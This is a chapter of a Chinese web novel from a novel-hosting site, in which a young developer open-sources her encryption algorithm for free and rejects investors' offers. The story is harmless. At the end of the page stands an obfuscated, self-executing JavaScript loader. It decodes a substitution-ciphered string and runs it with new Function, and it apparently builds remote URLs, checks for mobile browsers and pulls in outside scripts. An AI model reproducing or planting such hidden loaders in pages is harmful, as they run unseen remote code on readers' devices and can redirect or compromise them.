首页
前传第143章 拒绝商业变现
返回
关灯 护眼:关 字号:小

前传第143章 拒绝商业变现,坚持免费测试

章节报错(免登陆)

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    前传第143章拒绝商业变现,坚持免费测试(第1/2页)
    初秋的江城,褪去了盛夏的燥热,多了一层清浅的凉。老式居民小区的梧桐树叶次第泛黄,风一吹,细碎的叶片簌簌飘落,铺在斑驳的水泥楼道上,安静得无声无息。
    这里是江城老城区最普通的居民楼,没有市中心写字楼的灯火璀璨,没有互联网行业的喧嚣浮躁,只有日复一日的烟火平淡,和藏在小小出租屋里,不为人知的技术微光。
    姚浮萍的工作台,就摆在客厅靠窗的位置。
    一张磨损边角的实木书桌,两台组装而成的高配电脑,堆叠整齐的算法手稿、数据台账、加密逻辑草图,除此之外,再无任何多余装饰。桌面上干净得近乎刻板,一如她这个人的性格,纯粹、规整、容不得半点杂乱。
    下午四点的天光透过玻璃窗斜斜落进来,落在少女低垂的侧脸上。
    二十二岁的姚浮萍,眉眼清浅,神色安静,长发简单束在脑后,露出光洁的额头。连日泡在代码与算法里,她的眼底带着一丝淡淡的疲惫,却唯独在盯着屏幕数据流时,透着旁人难及的专注与炽热。
    屏幕之上,一串串精密繁复的底层代码飞速滚动,绿色字符密密麻麻铺满界面。
    耗时整整半年,她和哥哥姚厚朴联手打磨的初代私有加密算法,终于完成了完整雏形迭代。
    不同于市面上所有成熟的商用加密系统,这套初生的算法,没有冗余的盈利模块,没有花哨的营销功能,没有为了适配资本变现而妥协的漏洞后门。
    它的核心只有一件事——纯粹防护,绝对保密。
    摒弃了行业内主流的轻量化加密、妥协式防护、分级收费式安全壁垒,她从底层架构重构逻辑,以个人对数据安全的极致理解,搭建出一套完全独立、自主可控、零妥协、零让步的国产加密底层框架。
    这是五彩绫镜最原始、最纯粹的雏形,是她耗尽青春热爱,毫无功利打磨出的技术初心。
    “跑完最后一轮压力测试,全维度数据正常,峰值防护稳定,漏洞检测零异常。”
    姚厚朴端着两杯温水走过来,将一杯温热的水轻轻放在妹妹手边,目光落在电脑屏幕上,眼底满是欣慰与动容,还有一丝不易察觉的感慨。
    深耕计算机行业多年,他见过太多技术诞生的初衷。
    有人为高薪入职大厂,有人为融资打磨产品,有人为流量妥协算法,有人为利润篡改底层逻辑。
    唯独他的妹妹,从头到尾,不为名、不为利、不为前程、不为资本青睐。
    只是单纯觉得,数据该被守护,隐私该被尊重,技术本该向善,不该沦为收割普通人的工具。
    “初代版本,彻底成型了。”姚厚朴轻声开口,语气温和沉稳,“半年熬夜攻坚,无数次推翻重构,总算没有白费。”
    姚浮萍指尖轻轻敲击键盘,保存完最后一组核心参数,缓缓抬眼,清澈的眼眸里没有狂喜,只有一种尘埃落定的平静。
    “只是基础雏形,还有很多优化空间。”
    她的声音清淡柔和,带着技术人独有的严谨克制,没有半分年少成名的浮躁。
    在她眼里,这套算法从来不是可以变现的产品,不是可以融资的项目,不是可以扬名行业的筹码。
    它只是一段代码,一套逻辑,一种守护普通人数据隐私的方式。
    仅此而已。
    姚厚朴看着妹妹干净纯粹的侧脸,心底轻轻叹了口气。
    他太了解自己的妹妹了。
    从年少痴迷代码开始,她就活在自己的技术世界里,通透、纯粹、偏执,不谙世事的复杂,不懂资本的贪婪,更不愿让自己倾尽心血的技术,沾染半分商业功利的污浊。
    可他们身处的行业,从来容不下纯粹。
    技术诞生的那一刻,就注定要和资本、利润、变现、博弈捆绑纠缠,无人能够例外。
    “浮萍,算法成型,接下来,你打算怎么做?”姚厚朴轻声问道。
    这是最关键的一步,也是所有技术创业者、开发者,都会面临的分叉路口。
    市面上九成以上的独立开发者,在打磨出成熟算法、成型产品之后,第一件事就是对接资本、挂靠公司、包装项目、商业变现。
    辛苦研发的技术,只有落地商业化,才能换取收益、换取前程、换取行业话语权,这是互联网行业默认的生存规则。
    姚浮萍眸光平静,几乎没有任何犹豫,淡淡吐出八个字:“全网开源,免费测试。”
    语气笃定,态度坚决,没有丝毫动摇。
    姚厚朴眼底微动,早已预料到这个答案,却还是忍不住出声劝说:“你想清楚了。”
    “免费,意味着零收益。开源,意味着所有人都能查看底层逻辑,没有任何技术壁垒保护。”
    “行业里多少资本、多少竞品,盯着独立开发者的原创算法。一旦完全公开,没有版权锁死,没有商业保护,很容易被人篡改、剽窃、包装,转头做成商用产品,抢占市场,拿走本该属于你的一切。”
    他见过太多这样的例子。
    无数天才开发者耗费心血打磨的原创技术,因为初心纯粹、选择开源普惠,最后被资本巨头、竞品公司肆意窃取,改头换面,包装成爆款商用产品,收割巨额利润。
    而真正的原创者,一无所有,徒留一身疲惫与遗憾。
    这是行业常态,也是最冰冷、最现实的规则。
    姚浮萍垂眸看着屏幕上静静流淌的代码,指尖轻轻摩挲着键盘边缘,语气依旧清淡,却带着不容撼动的执拗。
    “我做这套算法,本来就不是为了赚钱。”
    “市面上的加密软件,大多分级收费。高级防护要付费,隐私溯源要付费,深度加密要付费。普通人没有预算,只能用基础版本,数据泄露、隐私被盗、信息倒卖,永远是弱势群体。”
    “资本做技术,是筛选用户,服务付费人群。”
    “我做技术,是普惠大众,护住每一个普通人的隐私。”
    二十二岁的少女,说出的话没有华丽的辞藻,没有宏大的口号,却字字真诚,句句滚烫。
    她见过太多冰冷的现实。
    普通网民不懂防护,个人信息肆意泄露,被骚扰、被诈骗、被精准收割;小微企业预算有限,用不起高端加密系统,客户数据批量倒卖,企业口碑崩塌;无数无辜的人,为行业的逐利乱象买单。
    所以她从一开始就下定决心,自己的技术,绝不分级,不搞特权,不绑定盈利。
    技术无贵贱,防护无差别。
    “免费测试,才能覆盖最多普通用户。全网开源,才能让更多技术爱好者参与优化,找出我们没发现的漏洞,完善底层逻辑。”
    姚浮萍抬眼看向哥哥,眼底澄澈明亮:“现在的算法还不够完美,我不想急着变现,不想为了适配商业逻辑妥协底层架构,更不想让资本左右技术的走向。”
    “等它足够稳定、足够完善、足够能护住每一个人的数据,再谈其他。”
    在所有人都忙着把技术换成现金、换成融资、换成前途的时候,她偏偏逆向而行。
    别人逐利,她守心。
    别人争先商业化,她执意纯公益。
    姚厚朴看着妹妹眼底纯粹的光亮,心底所有劝说的话,尽数堵在喉咙里,最终只剩下一声轻轻的叹息。
    他知道,妹妹的执拗,从来不是年少无知的任性,是看透行业污浊后,依旧选择坚守的赤诚。
    “好。”
    姚厚朴最终点头妥协,温柔退让,一如多年来所有时刻,永远做妹妹最坚实的后盾。
    “哥支持你。你想免费,我们就免费。你想开源,我们就开源。”
    “哪怕没有收益,哪怕被人剽窃,哪怕前路难行,我陪着你。”
    兄妹二人相依为命多年,他早已习惯护着她的纯粹,护着她的理想,护着这份在功利时代,格外稀缺的技术初心。
    姚浮萍眼底掠过一丝浅浅笑意,清淡温柔,转瞬即逝,又重新落回电脑屏幕。
    她开始整理初代算法的底层文档、逻辑注释、测试报告,逐条梳理,逐条标注,把半年来所有的研发思路、迭代过程、漏洞修复记录,毫无保留地整理完整。
    没有加密,没有隐藏,没有保留。
    全程透明,全程公开。
    傍晚时分,天色渐暗,城市万家灯火次第亮起。
    (本章未完,请点击下一页继续阅读)前传第143章拒绝商业变现,坚持免费测试(第2/2页)
    窗外车水马龙,繁华喧嚣,无数互联网公司、创业团队,正在连夜打磨商业方案、融资PPT、盈利模式,所有人都在奔赴同一条逐利的赛道。
    唯有这间小小的出租屋,安静而坚定,守着一份不被世俗理解的纯粹。
    晚上七点,姚浮萍完成所有文档整理。
    她登录了国内最大的开源技术社区,注册了全新的匿名账号,没有填写个人信息,没有标注学历天赋,没有打造任何个人IP。
    只是简单编辑了一行简介:底层加密算法,免费开源,永久普惠,技术向善,无任何商用绑定。
    随后,她点击上传。
    整套初代加密算法,完整源码、全套文档、全套测试数据,一键全网公开。
    没有保留,没有锁死,没有套路。
    点击确认发布的那一刻,没有鲜花,没有掌声,没有业内关注,没有任何人知晓,一个足以颠覆国内民用数据安全赛道的原创技术,就此无偿问世。
    姚浮萍关掉网页,神色平静,仿佛只是做了一件微不足道的小事。
    “接下来,开启公开免费测试通道,面向所有个人用户、小微企业开放使用权限。”
    她语速平稳,有条不紊地安排后续工作:“开放反馈入口,收集所有用户的使用bug、防护漏洞、优化建议,二十四小时实时记录,持续迭代更新。”
    “全程免费,永久免费,不插广告,不捆绑软件,不窃取用户数据,不做任何隐私倒卖。”
    这是她给自己技术立下的四条底线,也是后来五彩绫镜贯穿始终的核心准则。
    姚厚朴点头应声,认真记下所有要求,开始搭建简易的用户反馈后台,梳理测试流程。
    他看着妹妹专注认真的模样,心里清楚,这个决定,看似简单平静,实则彻底逆了整个行业的规则。
    果不其然。
    源码公开的短短三个小时后。
    原本平静的开源社区,悄然掀起了一阵小规模的技术震动。
    最先发现这套算法的,是几名资深独立开发者、网络安全工程师。
    起初,他们只是随手浏览新上传的开源项目,并未放在心上,只当是大学生的课程作业、业余练手的普通代码。
    可当他们逐行解析底层逻辑,逐层拆解加密架构,完整看完整套源码之后,所有人都愣住了。
    “底层架构全新重构,完全自主逻辑,没有套用任何商用框架!”
    “加密层级远超市面同类型民用软件,甚至堪比企业级防护系统!”
    “零后门、零窃取、零推送,干净得不可思议!”
    “最离谱的是,完全免费开源,无任何商用限制,作者一分钱不收?”
    业内从业多年的技术人,瞬间看出了这套初代算法的含金量。
    这根本不是业余练手的作品,是具备完整落地能力、极高安全壁垒、颠覆行业现有民用加密格局的优质原创项目。
    在整个行业都在靠着加密权限收费、靠着隐私漏洞牟利、靠着数据倒卖盈利的时候,突然出现一套完全纯粹、绝对安全、永久免费的国产加密算法。
    无异于一股清流,狠狠冲击着所有人的固有认知。
    惊叹之余,随之而来的,是敏锐的资本嗅觉。
    夜色渐深,资本的触角,永远比普通人更快、更准、更贪婪。
    当晚十点,陆续有小型投资机构、互联网初创公司、技术孵化平台,通过开源社区的私信通道,悄悄联系上了这个匿名账号。
    一条条私信,接踵而至,带着行业最标准的诱惑,精准对准所有技术开发者的软肋。
    【您好,观测到您的加密算法极具商业价值,我方愿意出资三十万,买断整套源码独家使用权。】
    【可签约孵化项目,提供办公场地、团队资金、全网推广,帮您包装成爆款商用产品,年薪保底五十万起。】
    【资源对接行业大厂,算法落地商业化,估值千万起步,前途无量。】
    【无需您费心运营,我方全权负责变现,您只负责技术研发,收益五五分成。】
    三十万买断、五十万年薪、千万估值、全程托管。
    对于一个二十二岁、无名无籍、无公司背书、无行业资历的年轻开发者而言,这样的诱惑,早已远超同龄人所能企及的高度。
    多少深耕行业数年的技术人,都得不到这样的机会。
    这是资本最惯用的套路,也是最精准的拿捏。
    在创作者无名之时,低价收割原创成果,包装溢价,转手赚取百倍千倍的利润。
    姚浮萍随意点开几条私信,目光淡淡扫过,眼底没有半分波澜。
    金钱、估值、前程、名利。
    这些世人趋之若鹜的东西,从来不在她的考量范围之内。
    她指尖轻点,没有回复任何一条私信,直接关闭了所有私信通道,屏蔽了所有商业洽谈、版权收购、项目孵化的消息推送。
    干脆,利落,不留余地。
    姚厚朴看着她干净决绝的动作,轻声问道:“一点都不考虑?”
    姚浮萍摇头,语气清淡笃定:“不需要。”
    “一旦签约商业化,源码就不再属于我。为了适配资本盈利,他们一定会修改底层逻辑,加收费模块、加广告推送、加数据采集后门。”
    “我的算法,是用来护人隐私的,不是用来收割用户的。”
    她看得足够通透。
    资本介入技术的唯一目的,就是盈利。
    而盈利的本质,大多是妥协。
    妥协安全底线,妥协隐私准则,妥协技术初心,最终让纯粹的技术,沦为收割流量、倒卖数据、压榨用户的工具。
    她绝不允许自己耗尽心血的作品,变成自己最厌恶的模样。
    “与其被资本裹挟,被市场同化,不如永远停在最纯粹的状态。”
    姚浮萍抬眼望向窗外深沉的夜色,目光清澈而坚定。
    “我宁愿它现在无人知晓,免费普惠,慢慢迭代,也不愿它满身功利,光鲜亮丽地害人。”
    深夜十一点,城市彻底沉寂。
    出租屋里的两台电脑依旧亮着屏幕,数据流静静滚动,用户测试反馈后台,开始陆续收到普通用户的试用留言。
    【终于有真正干净的加密软件了!无广告不偷数据,太良心了!】
    【小微企业福音,免费企业级防护,解决了我们最大的安全难题。】
    【代码公开透明,可自查漏洞,安全感拉满!】
    【希望作者一直坚持初心,不要商业化,不要变味!】
    一条条朴素真诚的用户反馈,落在屏幕上,温暖而纯粹。
    姚浮萍逐一看过,清冷的眼底,终于漾开一丝浅浅的温柔。
    这就是她坚持免费、坚持开源的全部意义。
    不是融资,不是变现,不是名利。
    是无数普通人,终于能拥有一份平等、干净、纯粹的数据守护。
    姚厚朴站在一旁,看着屏幕上温暖的留言,看着妹妹安静温柔的侧脸,心底彻底释然。
    他忽然明白,妹妹的执拗,从来不是不懂现实,而是太过清醒。
    她看清了行业所有的污浊、贪婪、乱象,却依旧选择坚守本心,以微小的技术微光,对抗整个行业的逐利洪流。
    世人皆逐利,她独守心。
    世人皆奔赴商业繁华,她甘愿清贫守纯。
    夜色温柔,灯光静谧。
    这间普通的出租屋里,没有惊天动地的誓言,没有轰轰烈烈的抉择。
    只有一个二十二岁的少年技术人,以最安静、最坚定的方式,守住了技术最本真的初心。
    初代五彩绫镜,以免费开源之姿,悄然落地,无声生长。
    无人知晓,此刻这场不被资本理解、不被行业看好的纯粹坚守,会在数年之后,冲破所有商业博弈、资本围剿、行业乱象,长成守护千万用户、撑起国产数据安全半壁江山的万丈光芒。
    前路漫漫,风雨将至。
    资本的诱惑不会停止,竞品的窥探不会消失,行业的博弈终将袭来。
    但此刻的姚浮萍,心有坚守,眼有星光,无所畏惧。
    她愿以一身纯粹执念,护一世技术向善。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();